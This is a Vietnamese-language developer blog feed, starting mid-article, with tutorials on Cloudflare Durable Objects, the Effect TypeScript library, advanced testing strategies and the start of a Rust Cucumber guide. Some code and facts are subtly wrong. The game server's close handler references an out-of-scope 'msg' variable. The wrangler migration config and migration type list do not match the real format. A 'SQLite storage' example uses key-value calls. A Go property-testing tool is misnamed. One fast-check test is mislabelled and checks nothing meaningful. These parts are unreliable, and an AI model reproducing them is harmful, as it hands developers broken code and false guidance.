Lựa chọn phụ thuộc vào context của bạn. Nếu bạn đang xây dựng cloud-native apps trên Cloudflare với TypeScript, Alchemy là lựa chọn hấp dẫn. Nếu bạn cần enterprise-grade IaC cho multi-provider infrastructure, Terraform vẫn là chuẩn mực.

Alchemy: alchemy.run
Terraform Cloudflare Provider: registry.terraform.io
Wrangler: developers.cloudflare.com/workers/wrangler

Durable Objects — Stateful Ứng Dụng Real-time Trên Workers

Wed, 29 Jul 2026 00:00:00 GMT

Durable Objects (DO) là giải pháp stateful cho Cloudflare Workers. Mỗi DO có một instance duy nhất — state tồn tại, consistency mạnh.

Workers vs Durable Objects

| Workers | Durable Objects | |---|---| | Stateless | Stateful | | Nhiều request - nhiều instance | Mỗi ID - một instance duy nhất | | Không giữ state | Giữ state trong memory + storage | | Scale vô hạn | Scale by sharding (nhiều DO) | | 330+ locations | Một location (có migration) |

Chat Room — Ví Dụ Cơ Bản

import { DurableObject } from 'cloudflare:workers';

interface Env {
  CHAT_ROOM: DurableObjectNamespace;
}

export class ChatRoom extends DurableObject {
  private sessions = new Map<string, WebSocket>();

  async fetch(request: Request): Promise<Response> {
    const url = new URL(request.url);
    const name = url.searchParams.get('name') || 'anonymous';

    // WebSocket upgrade
    const pair = new WebSocketPair();
    const [client, server] = Object.values(pair);

    server.accept();
    this.sessions.set(name, server);

    // Broadcast welcome
    this.broadcast(`${name} joined the chat`);

    server.addEventListener('message', (event) => {
      this.broadcast(`${name}: ${event.data}`, server);
    });

    server.addEventListener('close', () => {
      this.sessions.delete(name);
      this.broadcast(`${name} left`);
    });

    return new Response(null, { status: 101, webSocket: client });
  }

  private broadcast(message: string, sender?: WebSocket) {
    const data = JSON.stringify({ message, timestamp: Date.now() });
    this.sessions.forEach((ws, name) => {
      if (ws !== sender && ws.readyState === WebSocket.OPEN) {
        ws.send(data);
      }
    });
  }
}

// Worker — router đến DO
export default {
  async fetch(request: Request, env: Env): Promise<Response> {
    const url = new URL(request.url);
    const roomId = url.searchParams.get('room') || 'default';
    const id = env.CHAT_ROOM.idFromName(roomId);
    const stub = env.CHAT_ROOM.get(id);
    return stub.fetch(request);
  },
};

SQLite Storage — D1 Built-in

Mỗi Durable Object có SQLite storage riêng:

export class Counter extends DurableObject {
  private storage: DurableObjectStorage;

  constructor(ctx: DurableObjectState, env: Env) {
    super(ctx, env);
    this.storage = ctx.storage;
  }

  async fetch(request: Request): Promise<Response> {
    const url = new URL(request.url);

    switch (url.pathname) {
      case '/increment':
        const count = (await this.storage.get<number>('count')) || 0;
        await this.storage.put('count', count + 1);
        return Response.json({ count: count + 1 });

      case '/get':
        const current = (await this.storage.get<number>('count')) || 0;
        return Response.json({ count: current });

      case '/reset':
        await this.storage.put('count', 0);
        return Response.json({ count: 0 });

      default:
        return new Response('Not found', { status: 404 });
    }
  }
}

SQL Queries Với storage.sql

Dùng SQL trực tiếp với Durable Objects:

export class TodoApp extends DurableObject {
  async fetch(request: Request): Promise<Response> {
    const sql = this.ctx.storage.sql;

    // Create table
    sql.exec(`
      CREATE TABLE IF NOT EXISTS todos (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        title TEXT NOT NULL,
        completed INTEGER DEFAULT 0
      )
    `);

    const url = new URL(request.url);

    // List
    if (request.method === 'GET') {
      const result = sql.exec('SELECT * FROM todos ORDER BY id DESC');
      return Response.json(result.toArray());
    }

    // Create
    if (request.method === 'POST') {
      const { title } = await request.json();
      const result = sql.exec('INSERT INTO todos (title) VALUES (?)', title);
      return Response.json({ id: result.lastRowId, title, completed: false }, { status: 201 });
    }

    // Update
    if (request.method === 'PUT') {
      const { id, completed } = await request.json();
      sql.exec('UPDATE todos SET completed = ? WHERE id = ?', completed, id);
      return Response.json({ success: true });
    }

    // Delete
    if (request.method === 'DELETE') {
      const id = url.searchParams.get('id');
      sql.exec('DELETE FROM todos WHERE id = ?', id);
      return Response.json({ success: true });
    }

    return new Response('Method not allowed', { status: 405 });
  }
}

Alarm — Cron Cho DO

export class Reminder extends DurableObject {
  constructor(ctx: DurableObjectState, env: Env) {
    super(ctx, env);
    ctx.blockConcurrencyWhile(async () => {
      const alarm = await ctx.storage.getAlarm();
      if (alarm) {
        console.log('Recovered alarm:', new Date(alarm).toISOString());
      }
    });
  }

  async fetch(request: Request): Promise<Response> {
    const url = new URL(request.url);
    const delayMs = parseInt(url.searchParams.get('delay') || '5000');

    // Set alarm sau delayMs
    await this.ctx.storage.setAlarm(Date.now() + delayMs);

    return Response.json({ message: `Alarm set for ${delayMs}ms` });
  }

  async alarm() {
    // Được gọi khi alarm hết giờ
    console.log('⏰ Alarm fired!');

    // Gửi notification qua WebSocket nếu có
    // Hoặc call webhook
    await fetch('https://hooks.example.com/notify', {
      method: 'POST',
      body: JSON.stringify({ event: 'alarm_fired', time: Date.now() }),
    });

    // Set alarm lại nếu cần
    await this.ctx.storage.setAlarm(Date.now() + 3600000);
  }
}

Multiplayer Game Server

interface Player {
  id: string;
  x: number;
  y: number;
  score: number;
}

export class GameRoom extends DurableObject {
  private players = new Map<string, WebSocket>();
  private state: Player[] = [];

  async fetch(request: Request): Promise<Response> {
    const pair = new WebSocketPair();
    const [client, server] = Object.values(pair);

    server.accept();

    server.addEventListener('message', (event) => {
      const msg = JSON.parse(event.data as string);

      switch (msg.type) {
        case 'join':
          this.players.set(msg.playerId, server);
          this.state.push({ id: msg.playerId, x: 0, y: 0, score: 0 });
          this.broadcast({ type: 'players', data: this.state });
          break;

        case 'move':
          const player = this.state.find(p => p.id === msg.playerId);
          if (player) {
            player.x += msg.dx;
            player.y += msg.dy;
            this.broadcast({ type: 'move', playerId: msg.playerId, x: player.x, y: player.y });
          }
          break;

        case 'shoot':
          this.broadcast({
            type: 'shoot',
            playerId: msg.playerId,
            x: msg.x,
            y: msg.y,
            angle: msg.angle,
          });
          break;
      }
    });

    server.addEventListener('close', () => {
      this.state = this.state.filter(p => !this.players.has(p.id));
      this.players.delete(msg.playerId);
      this.broadcast({ type: 'leave', playerId: msg.playerId });
    });

    return new Response(null, { status: 101, webSocket: client });
  }

  private broadcast(message: object) {
    const data = JSON.stringify(message);
    this.players.forEach((ws) => {
      if (ws.readyState === WebSocket.OPEN) {
        ws.send(data);
      }
    });
  }
}

Migration — Di Chuyển DO

DO có thể migrate giữa các region:

// wrangler.jsonc
{
  "durable_objects": {
    "bindings": [
      {
        "name": "COUNTER",
        "class_name": "Counter",
        "migration": "new_tag"
      }
    ]
  }
}

Migration types:

new_tag — Class mới
new_classes — Thêm nhiều class
rename — Đổi tên class
transfer — Chuyển dữ liệu

Pattern — Sharding

Một DO chỉ chạy ở một location. Để scale, shard theo key:

// Shard user data theo userId
function getUserStub(userId: number, env: Env): DurableObjectStub {
  const shardId = Math.floor(userId / 1000); // 1000 user mỗi shard
  const id = env.USER_STORE.idFromName(`shard-${shardId}`);
  return env.USER_STORE.get(id);
}

// Handler
export default {
  async fetch(request: Request, env: Env): Promise<Response> {
    const url = new URL(request.url);
    const userId = parseInt(url.searchParams.get('userId') || '0');
    const stub = getUserStub(userId, env);
    return stub.fetch(request);
  },
};

Kết Luận

Durable Objects giải quyết vấn đề state trong serverless:

Real-time — WebSocket với state central consistency
Game server — multiplayer coordination
Coordination — distributed lock, rate limiting
SQLite storage — không cần DB riêng

Kiến trúc: Workers stateless cho request thông thường, DO cho những gì cần state. Shard DO theo key để scale ngang.

Tài liệu tham khảo

Effect - typed effects, error handling và concurrency

Wed, 29 Jul 2026 00:00:00 GMT

Effect (effect.website) là một thư viện TypeScript mạnh mẽ, mang typed effects, error handling có cấu trúc, quản lý dependency và concurrency vào hệ sinh thái TypeScript. Không giống như các thư viện functional programming khác, Effect được thiết kế để thay thế hoàn toàn try/catch, Promise, và dependency injection truyền thống bằng một hệ thống thống nhất, type-safe.

Vấn đề với TypeScript thuần

TypeScript không có cơ chế native để:

| Vấn đề | Cách xử lý hiện tại | Hạn chế | |---|---|---| | Lỗi có kiểu | throw new Error() | Không biết kiểu lỗi ở call site | | Dependency injection | Constructor injection, DI container | Không type-safe, runtime overhead | | Tác vụ bất đồng bộ | Promise, async/await | Không cancel được, không compose | | Tác vụ song song | Promise.all() | Lỗi một → hỏng tất cả | | Resource management | try/finally | Dễ quên cleanup |

Effect giải quyết tất cả những vấn đề này trong một framework duy nhất.

Core Concepts

1. Effect — Đơn vị cơ bản

Effect là một mô tả type-safe của một tác vụ có thể thất bại. Bạn không chạy code ngay lập tức — bạn xây dựng một pipeline, sau đó run nó:

import { Effect } from 'effect'

// Một effect thành công (never fails)
const success: Effect.Effect<number, never, never> = Effect.succeed(42)

// Một effect có thể thất bại
const fail: Effect.Effect<number, string, never> = Effect.fail('Something went wrong')

// Run effect
const result = await Effect.runPromise(success)
console.log(result) // 42

Chữ ký type Effect<Success, Error, Requirements> cho bạn biết:

Success: kiểu trả về khi thành công
Error: kiểu lỗi có thể xảy ra
Requirements: dependencies cần thiết

2. Error Handling có kiểu

Không còn catch (e: unknown) nữa:

import { Effect } from 'effect'

class NetworkError {
  readonly _tag = 'NetworkError'
  constructor(readonly status: number) {}
}

class ValidationError {
  readonly _tag = 'ValidationError'
  constructor(readonly field: string) {}
}

// TypeScript biết chính xác error type
type ApiError = NetworkError | ValidationError

const fetchUser: Effect.Effect<User, ApiError, never> = Effect.gen(function* () {
  const response = yield* fetch('/api/user')
  if (response.status === 404) {
    return yield* Effect.fail(new NetworkError(404))
  }
  return yield* Effect.succeed(await response.json())
})

// Pattern matching trên errors
const handled = fetchUser.pipe(
  Effect.catchTag('NetworkError', (err) =>
    Effect.succeed({ id: 0, name: 'fallback' })
  ),
  Effect.catchTag('ValidationError', (err) =>
    Effect.fail(`Invalid field: ${err.field}`)
  )
)

3. Dependency Injection type-safe

Effect quản lý dependencies thông qua Layer và Context — không runtime, không global state:

import { Effect, Layer, Context } from 'effect'

// 1. Định nghĩa service tag
class Database extends Context.Tag('Database')<
  Database,
  { query: (sql: string) => Effect.Effect<unknown[], Error, never> }
>() {}

// 2. Implement layer
const DatabaseLive = Layer.succeed(Database, {
  query: (sql) => Effect.succeed([{ id: 1, name: 'test' }])
})

// 3. Sử dụng — Effect biết cần Database
const program = Database.pipe(
  Effect.flatMap((db) => db.query('SELECT * FROM users'))
)
// Type: Effect<unknown[], Error, Database> ⬅️ cần Database

// 4. Inject dependency
const runnable = Effect.provide(program, DatabaseLive)
const result = await Effect.runPromise(runnable)

4. Concurrency & Fibers

Effect có hệ thống Fiber riêng — lightweight threads có thể cancel, fork, và join:

import { Effect, Fiber } from 'effect'

// Fork — chạy song song
const task1 = Effect.succeed('Task 1').pipe(Effect.delay('1 second'))
const task2 = Effect.succeed('Task 2').pipe(Effect.delay('2 seconds'))

// Race — lấy kết quả nhanh nhất
const winner = Effect.raceAll([task1, task2])

// Fork/Join — chạy song song, đợi tất cả
const fiber = yield* Effect.fork(task1)
const result = yield* Fiber.join(fiber)

// Timeout — tự động fail nếu quá lâu
const withTimeout = task1.pipe(Effect.timeout('500 millis'))

5. Scoped Resources

Quản lý resource tự động — không lo quên close():

import { Effect, Scope } from 'effect'

const openFile = (path: string): Effect.Effect<FileHandle, Error, Scope> =>
  Effect.acquireRelease(
    Effect.sync(() => fs.openSync(path)), // acquire
    (file) => Effect.sync(() => fs.closeSync(file)) // release
  )

// Scope tự động close khi kết thúc
const content = yield* Scope.use(
  Effect.scope,
  (scope) => openFile('data.txt').pipe(
    Effect.flatMap((file) => readFileContent(file))
  )
)
// File đã được close tự động

6. Streams

Stream là phiên bản có kiểu của Observable/AsyncIterable:

import { Stream, Sink, Effect } from 'effect'

const numbers = Stream.iterate(0, (n) => n + 1).pipe(
  Stream.take(5),
  Stream.map((n) => n * 2)
)

// Collect thành array
const result = await Effect.runPromise(
  Stream.runCollect(numbers)
)
// [0, 2, 4, 6, 8]

Ecosystem

Effect có một hệ sinh thái đang phát triển nhanh:

| Package | Mục đích | |---|---| | effect/Schema | Schema validation & marshalling (thay thế Zod) | | effect/Platform | File system, path, streams platform APIs | | @effect/sql | SQL database access (Postgres, SQLite, MySQL) | | @effect/rpc | RPC framework với type-safe protocols | | @effect/cluster | Distributed computing cluster | | @effect/opentelemetry | OpenTelemetry observability | | effect/Cron | Cron job scheduling |

Effect vs các giải pháp khác

| Tiêu chí | try/catch | Promise | Zod | fp-ts | Effect | |---|---|---|---|---|---| | Error type-safe | ❌ | ❌ | ❌ | ✅ | ✅ | | Dependency injection | ❌ | ❌ | ❌ | ❌ | ✅ | | Cancellation | ❌ | ❌ | ❌ | ❌ | ✅ | | Resource safety | ❌ | ❌ | ❌ | ❌ | ✅ | | Concurrency | ❌ | ❌ | ❌ | ❌ | ✅ | | Streaming | ❌ | ❌ | ❌ | ❌ | ✅ | | Schema validation | ❌ | ❌ | ✅ | ❌ | ✅ |

Effect trong thực tế

Alchemy — Infrastructure as Code

Alchemy (alchemy.run) sử dụng Effect làm nền tảng để định nghĩa và quản lý cloud infrastructure. Effect cho phép xử lý lỗi mạng, retry, và resource lifecycle một cách an toàn:

import { Effect } from 'effect'

// Effect xử lý retry khi API call thất bại
const provision = Effect.retry(
  cloudflare.createBucket('my-bucket'),
  { times: 3, delay: '1 second' }
)

Web Framework — effect-http

import { HttpServer, HttpRouter, HttpMiddleware } from '@effect/platform'
import { BunHttpServer } from '@effect/platform-bun'

const app = HttpRouter.empty.pipe(
  HttpRouter.get('/',
    Effect.succeed(new Response('Hello, Effect!'))
  ),
  HttpRouter.get('/users/:id',
    (req) => fetchUser(req.params.id).pipe(
      Effect.map((user) => Response.json(user)),
      Effect.catchTag('NetworkError', () =>
        Effect.succeed(new Response('Not found', { status: 404 }))
      )
    )
  )
)

BunHttpServer.serve(app).pipe(
  Effect.runPromise
)

Bắt đầu với Effect

# Tạo project
mkdir my-effect-app && cd my-effect-app
npm init -y
npm install effect @effect/platform @effect/platform-bun

import { Effect, Console } from 'effect'

const program = Effect.gen(function* () {
  const name = yield* Effect.succeed('World')
  yield* Console.log(`Hello, ${name}!`)
  return name
})

Effect.runPromise(program).then(console.log)

Kết luận

Effect không chỉ là một thư viện — nó là một cách tiếp cận mới để viết TypeScript. Với hệ thống kiểu mạnh mẽ, error handling có cấu trúc, và quản lý dependency type-safe, Effect giúp bạn viết code đáng tin cậy hơn, dễ maintain hơn, và dễ test hơn.

Nếu bạn muốn đưa TypeScript lên một tầm cao mới, Effect là công cụ đáng đầu tư thời gian nhất hiện nay.

Link: effect.website
GitHub: github.com/Effect-TS/effect
Discord: discord.gg/effect-ts

Testing Nâng Cao: Contract, Visual, Property & Hơn Thế Nữa

Wed, 29 Jul 2026 00:00:00 GMT

Unit test, integration test, E2E test là nền tảng — nhưng đó mới chỉ là khởi đầu.

Khi ứng dụng phát triển, bạn sẽ đối mặt với những câu hỏi khó hơn:

Làm sao đảm bảo API contract giữa microservices không bị phá vỡ?
Làm sao phát hiện UI bị vỡ layout sau khi refactor CSS?
Làm sao tìm ra edge case mà không cần nghĩ trước?
Làm sao biết test suite của bạn có chất lượng?

Bài viết này giới thiệu 6 chiến lược testing nâng cao — mỗi strategy giải quyết một vấn đề mà unit test truyền thống không làm tốt.

1. Contract Testing — Bảo Vệ API Boundary

Vấn đề

Microservices giao tiếp qua API. Một service thay đổi response format → service khác parse sai → sập.

Integration test có thể phát hiện, nhưng chạy chậm và cần infrastructure. E2E test phát hiện được nhưng lại quá muộn trong pipeline.

Giải pháp: Consumer-Driven Contract (CDC)

Contract testing kiểm tra rằng consumer và provider thống nhất về format dữ liệu — mà không cần chạy service thật.

// Consumer: Tôi mong đợi response như thế này
// Dùng Pact framework

func Test_UserService_GetUser(t *testing.T) {
    // Định nghĩa contract: consumer mong đợi
    pact.
        AddInteraction().
        Given("User exists").
        UponReceiving("A request for user 1").
        WithRequest(request{
            Method: "GET",
            Path:   "/users/1",
        }).
        WillRespondWith(response{
            Status: 200,
            Body:   map[string]any{"id": 1, "name": "Alice"},
        })

    // Test consumer với mock provider
    // Nếu consumer parse sai → test fail
}

Ở phía provider:

// Provider: Tôi đảm bảo API thỏa mãn contract
// Chạy Pact verification trong CI

func Test_UserHandler_VerifyPact(t *testing.T) {
    pact.Verify(t, func() error {
        // Start server thật hoặc in-memory
        router := setupRouter()
        return http.ListenAndServe(":8000", router)
    })
}

Khi nào dùng

| Nên dùng | Không nên dùng | |---|---| | Microservices của team khác | Monolith | | API public/third-party | Internal function call | | Nhiều consumer khác nhau | 1-2 services, ít thay đổi |

Công cụ

Pact — Chuẩn thực tế cho CDC, hỗ trợ Go, JS, Rust, Python, Java
Spring Cloud Contract — Cho JVM ecosystem
Hoverfly — Mock HTTP dạng contract

2. Property-Based Testing — Để Machine Tìm Bug

Vấn đề

Bạn viết unit test cho 5-10 trường hợp. Nhưng production có hàng nghìn biến thể. Edge case nào đó bạn không nghĩ tới → bug.

Giải pháp: Kiểm tra tính chất, không kiểm tra giá trị

Thay vì assert giá trị cụ thể, bạn định nghĩa property (tính chất) mà function phải thỏa mãn với mọi input hợp lệ.

Framework sẽ sinh hàng loạt input ngẫu nhiên để kiểm tra.

import fc from 'fast-check'

// Property: reverse(reverse(arr)) === arr
test('reverse is idempotent', () => {
  fc.assert(
    fc.property(fc.array(fc.anything()), (arr) => {
      expect(arr.reverse().reverse()).toEqual(arr)
    })
  )
})

// Property: parse và stringify luôn bảo toàn dữ liệu
test('parse and stringify are inverses', () => {
  fc.assert(
    fc.property(fc.object(), (obj) => {
      const json = JSON.stringify(obj)
      const parsed = JSON.parse(json)
      expect(parsed).toEqual(obj)
    })
  )
})

// Property: sort luôn trả về mảng có thứ tự
test('sort returns ordered array', () => {
  fc.assert(
    fc.property(fc.array(fc.integer()), (arr) => {
      const sorted = [...arr].sort((a, b) => a - b)
      for (let i = 1; i < sorted.length; i++) {
        expect(sorted[i - 1]).toBeLessThanOrEqual(sorted[i])
      }
    })
  )
})

Mỗi lần chạy, fast-check sinh 100 input ngẫu nhiên. Nếu có lỗi, nó thu nhỏ (shrink) input về trường hợp tối thiểu để reproduce:

Error: Property failed after 42 tests
Counterexample: [NaN, 1, -0, 1e308]
Shrink result: [NaN]

Khi nào dùng

Function thuần túy (pure) — cùng input → cùng output
Thuật toán (sort, search, crypto, encode/decode)
Parser, validator, serializer
Business logic có nhiều edge case

Công cụ

fast-check (JS/TS) — Sinh test, shrink, custom arbitraries
QuickCheck (Haskell) — Ông tổ của property-based testing
Proptest (Rust) — Mạnh mẽ, integration với cargo-test
Hypothesis (Python) — Tính năng tương đương fast-check
fs2 (Go) — Property testing cho Go, nhẹ và đơn giản

3. Visual Regression Testing — Mắt Thứ Ba Cho UI

Vấn đề

Bạn sửa CSS, thay đổi component — layout, màu sắc, spacing, font bị vỡ ở đâu đó. Unit test không phát hiện. Manual testing bỏ sót.

Giải pháp: So sánh ảnh UI tự động

Chụp screenshot, so sánh pixel-by-pixel với baseline, báo diff nếu khác.

// Playwright Visual Comparison
import { test, expect } from '@playwright/test'

test('homepage matches snapshot', async ({ page }) => {
  await page.goto('/')
  await expect(page).toHaveScreenshot('homepage.png', {
    maxDiffPixels: 100, // cho phép sai khác tối đa 100px
    threshold: 0.2,     // pixel diff threshold
  })
})

test('login form renders correctly', async ({ page }) => {
  await page.goto('/login')
  const form = page.locator('.login-form')
  await expect(form).toHaveScreenshot('login-form.png')
})

Khi có thay đổi UI:

# Chạy test
npx playwright test

# Nếu snapshot fail, kiểm tra diff
npx playwright show-report
# → Xem ảnh: baseline | actual | diff

Quy trình làm việc với snapshot

Feature branch
     ↓
Chạy visual test
     ↓
Snapshot fail (có sự khác biệt)
     ↓
┌─ Nếu là thay đổi mong muốn ───────┐
│ Update snapshot → commit          │
└───────────────────────────────────┘
┌─ Nếu là lỗi ──────────────────────┐
│ Fix code → chạy lại test          │
└───────────────────────────────────┘

Khi nào dùng

Component library / Design system
Trang có layout phức tạp (dashboard, bảng biểu)
Theme / Dark mode support
Cross-browser testing

Công cụ

Playwright — toHaveScreenshot() built-in, mạnh, miễn phí
Chromatic — Cho Storybook, cloud-hosted, review UI trên PR
Percy — BrowserStack, tích hợp CI, quản lý snapshot
Loki — Docker-based, so sánh Chrome vs Chrome
BackstopJS — Config bằng JSON, hỗ trợ đa trình duyệt

[!NOTE] Snapshot UI dễ hỏng (font, OS, GPU rendering khác nhau). Dùng Docker hoặc CI runner cố định để giảm false positive.

4. Mutation Testing — Test Cho Test Của Bạn

Vấn đề

95% coverage — nhưng bạn có chắc test suite của mình thực sự phát hiện lỗi? Hay chỉ chạy qua cho có?

Giải pháp: Đột biến code, xem test có fail không

Mutation testing tự động thay đổi (đột biến) code của bạn — và xem test suite có bắt được không.

// Code gốc
function isEven(n: number): boolean {
  return n % 2 === 0
}

// Mutation 1: Đổi === thành !==
function isEven(n: number): boolean {
  return n % 2 !== 0  // ← test có fail không?
}

// Mutation 2: Đổi % 2 thành % 3
// Mutation 3: return true thay vì tính toán
// ...

Kết quả:

 mutants: 42
 killed:  38  (90.5%)  ✓ Test phát hiện đột biến
 survived: 4  (9.5%)   ✗ Test không phát hiện

Nếu test của bạn không bắt được mutation nào — test đó đang chạy cho có, không kiểm tra gì cả.

Khi nào dùng

Khi viết critical business logic
Khi refactor và muốn đảm bảo test coverage có chất lượng
Audit test suite định kỳ

Công cụ

Stryker (JS/TS) — Hỗ trợ Vitest, Jest, Mocha. Có HTML report chi tiết
PIT (Java) — Chuẩn mực cho mutation testing trong JVM
Mutmut (Python) — Đơn giản, dễ dùng
cargo-mutants (Rust) — Mutation testing cho Rust

# Stryker với Vitest
npx stryker run

# Output:
# ---------|---------|---------|---------|
# File | % score | # killed| # survived |
# ---------|---------|---------|---------|
# user.ts | 92.31 | 12 | 1 |
# payment | 85.71 | 6 | 1 |
# order | 100.00 | 8 | 0 |
# ---------|---------|---------|---------|

[!TIP] Mutation testing chạy chậm (mỗi mutation = 1 lần chạy test). Chỉ chạy trên module critical, không chạy toàn bộ project mỗi commit. Chạy nightly hoặc pre-release.

5. Fuzz Testing — Tìm Lỗi Bảo Mật & Crash

Vấn đề

Bạn test với input "hợp lý". Hacker gửi input kỳ dị — overflow, injection, crash — bạn không test.

Giải pháp: Bắn dữ liệu ngẫu nhiên vào ứng dụng

Fuzz testing (fuzzing) tự động sinh input ngẫu nhiên, sai lệch, hoặc có cấu trúc để tìm crash, memory leak, và lỗi bảo mật.

// Go fuzz testing
func FuzzParsePhoneNumber(f *testing.F) {
    // Seed corpus: một vài input mẫu
    f.Add("+84123456789")
    f.Add("0123 456 789")
    f.Add("(+84) 123-456-789")

    f.Fuzz(func(t *testing.T, input string) {
        result, err := ParsePhoneNumber(input)
        if err != nil {
            return // lỗi hợp lệ
        }
        // Nếu parse thành công, result phải hợp lệ
        if len(result) < 10 {
            t.Errorf("phone too short: %s → %s", input, result)
        }
    })
}

go test -fuzz=FuzzParsePhoneNumber -fuzztime=30s

Output:

=== FUZZ  FuzzParsePhoneNumber
    crash detected: panic in ParsePhoneNumber
    input: "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00..."

Rust:

// Cargo-fuzz hoặc libfuzzer
use arbitrary::Arbitrary;

#[derive(Arbitrary, Debug)]
struct FuzzInput {
    data: Vec<u8>,
    config: u8,
}

fn fuzz_parse(input: FuzzInput) {
    // Fuzzer sẽ thử mọi biến thể của FuzzInput
    let _ = parse_data(&input.data, input.config);
}

Khi nào dùng

Parser (JSON, XML, CSV, URL, phone, email)
Network protocol handler
File format processor
Authentication / Authorization
Input validation layer

Công cụ

go-fuzz / native Go fuzzing — Built-in từ Go 1.18
cargo-fuzz / libfuzzer (Rust) — LLVM-based, cực nhanh
Jazzer (Java) — Fuzzing cho JVM, dùng libfuzzer
AFL — General-purpose fuzzer, dùng được với nhiều ngôn ngữ

6. Load Testing — Biết Giới Hạn Của Hệ Thống

Vấn đề

App chạy tốt ở dev và staging. Lên production, 1000 user cùng request → chết, timeout, OOM.

Giải pháp: Mô phỏng tải thực tế

Load testing gửi request với số lượng user, request rate, và pattern giống production — để tìm bottleneck trước khi user thật bị ảnh hưởng.

// k6 script
import http from 'k6/http'
import { check, sleep } from 'k6'

export const options = {
  stages: [
    { duration: '2m',  target: 100 },   // ramp up
    { duration: '5m',  target: 100 },   // sustain
    { duration: '2m',  target: 200 },   // spike
    { duration: '3m',  target: 0 },     // ramp down
  ],
  thresholds: {
    http_req_duration: ['p(95)<500'],   // 95% request < 500ms
    http_req_failed:   ['rate<0.01'],   // < 1% lỗi
  },
}

export default function () {
  const res = http.get('https://api.example.com/users')
  check(res, {
    'status is 200': (r) => r.status === 200,
    'response time < 300ms': (r) => r.timings.duration < 300,
  })
  sleep(1)
}

k6 run load-test.js

Smoke → Stress → Spike → Soak

| Loại | Mục đích | Tải | |---|---|---| | Smoke Test | Hệ thống có chạy? | 1-5 user | | Load Test | Hệ thống chịu được tải bình thường? | ~expected peak | | Stress Test | Giới hạn ở đâu? | expected → 2x → 5x | | Spike Test | Chịu surge đột ngột? | 0 → 10x instant | | Soak Test | Chạy ổn định 24h? | ~expected trong 8-24h |

Khi nào dùng

API endpoint quan trọng (login, payment, search)
Before production release
Sau khi thay đổi kiến trúc (DB, cache, queue)
Hàng tháng / hàng quý

Công cụ

k6 (Grafana) — Script bằng JS, metric built-in, tích hợp CI mạnh
autocannon (Node.js) — Nhẹ, CLI đơn giản, HTTP benchmark
wrk / wrk2 — Benchmark HTTP, C-based, cực nhanh
Locust (Python) — Viết test bằng Python, UI real-time
Gatling (Scala) — Mạnh mẽ, có HTML report, JVM ecosystem
Vegeta (Go) — CLI đơn giản, HTTP load testing

Tổng Kết: Khi Nào Dùng Strategy Nào?

┌────────────────────────────────────────────────────────┐
│                   TESTING STRATEGY MAP                  │
├────────────────────────────────────────────────────────┤
│                                                        │
│  Contract  ←─── API change nhiều, nhiều consumer       │
│                                                        │
│  Property  ←─── Logic phức tạp, nhiều edge case        │
│                                                        │
│  Visual    ←─── UI/component library, cross-browser     │
│                                                        │
│  Mutation  ←─── Audit chất lượng test suite            │
│                                                        │
│  Fuzz      ←─── Security-critical, parser, validator    │
│                                                        │
│  Load      ←─── API endpoint, pre-release              │
│                                                        │
└────────────────────────────────────────────────────────┘

Không project nào cần tất cả. Hãy chọn dựa vào:

Loại ứng dụng — API-heavy → Contract + Load. UI-heavy → Visual
Giai đoạn — Mới bắt đầu → Unit + Integration. Đã ổn định → Property + Fuzz
Rủi ro — Xử lý tiền → Fuzz. Design system → Visual. Public API → Contract

Testing không phải là checkbox. Mỗi strategy là một công cụ — hiểu vấn đề rồi mới chọn công cụ phù hợp.

Cheatsheet: 6 Strategies Trong 1 Bảng

| Strategy | Phát hiện | Chi phí | Tốc độ | Công cụ chính | |---|---|---|---|---| | Contract | API boundary break | Thấp | Nhanh | Pact | | Property | Edge case logic | Trung bình | Trung bình | fast-check | | Visual | UI regression | Trung bình | Trung bình | Playwright | | Mutation | Test quality | Cao | Chậm | Stryker | | Fuzz | Crash, security | Thấp | Chậm | go-fuzz | | Load | Performance bottleneck | Cao | Nhanh | k6 |

Unit test là chân kiềng đầu tiên. Nhưng để ứng dụng thực sự vững chắc — trước những thay đổi API, UI vô tình bị vỡ, edge case không ai nghĩ tới, hay traffic spike bất ngờ — bạn cần nhiều hơn thế.

Hãy chọn 1-2 strategies phù hợp với vấn đề bạn đang gặp nhất, tích hợp vào CI, và nâng dần khi ứng dụng phát triển.

Tài liệu tham khảo

BDD trong Rust: Xây Web App Vững Chắc với Cucumber

Tue, 28 Jul 2026 16:28:57 GMT

Khi nhắc đến Rust trong phát triển web, những từ như blazing fast, memory safety, và zero-cost abstractions thường xuất hiện. Trình biên dịch khắt khe của Rust đảm bảo web service của bạn không bị data race hay null pointer exception. Nhưng làm thế nào để chắc chắn rằng ứng dụng web thực sự đáp ứng yêu cầu nghiệp vụ?

Câu trả lời là Behavior-Driven Development (BDD) và framework Cucumber cho Rust (crate cucumber).

Bằng cách kết hợp hiệu năng backend mạnh mẽ của Rust với spec dễ đọc của Cucumber, đội ngũ có thể xây dựng web app vừa vững chắc về cấu trúc vừa chính xác về chức năng.

Cucumber trong Rust là gì?

Cucumber là framework BDD phổ biến cho phép bạn viết kịch bản test bằng ngôn ngữ tự nhiên, dễ hiểu với cú pháp Gherkin (Given-When-Then).

Trong hệ sinh thái Rust, crate cucumber hoạt động như một test harness runner. Nó phân tích file .feature và ánh xạ trực tiếp đến các hàm Rust bất đồng bộ (step definitions). Bạn có được cả hai:

Spec hướng business, có thể thực thi được.
Sự an toàn, tốc độ, và đồng thời của code Rust thuần.

Tại sao dùng Rust và Cucumber cho Web?

Living Documentation: File feature là tài liệu sống mà product owner, QA, và developer đều đọc và hiểu được.
Tin cậy cả Compile lẫn Runtime: Rust bắt lỗi bộ nhớ và kiểu dữ liệu tại compile time, Cucumber đảm bảo logic ứng dụng khớp với luồng công việc thực tế.
Async Native: Các web framework Rust hiện đại (Axum, Actix-web, Warp) đều bất đồng bộ. Cucumber cho Rust hỗ trợ async/await tự nhiên, giúp test HTTP endpoint và database gọi dễ dàng.

Hướng dẫn từng bước: Cài đặt Cucumber trong dự án Rust Web

Hãy cùng thiết lập cơ bản để test một API route web với Rust và Cucumber.

1. Cấu hình Cargo.toml

Đầu tiên, thêm dependencies. Bạn cần cucumber, async runtime như tokio, và một cách để gửi HTTP request đến web server (như reqwest).

[package]
name = "rust_web_bdd"
version = "0.1.0"
edition = "2021"

[[test]]
name = "cucumber"
harness = false

[dependencies]
axum = "0.7"
tokio = { version = "1.0", features = ["full"] }
serde = { version = "1.0", features = ["derive"] }

[dev-dependencies]
cucumber = "0.20"
reqwest = { version = "0.11", features = ["json"] }

2. Viết File Feature Gherkin

Tạo thư mục tests/features/ và thêm file user_api.feature:

Feature: User Management API
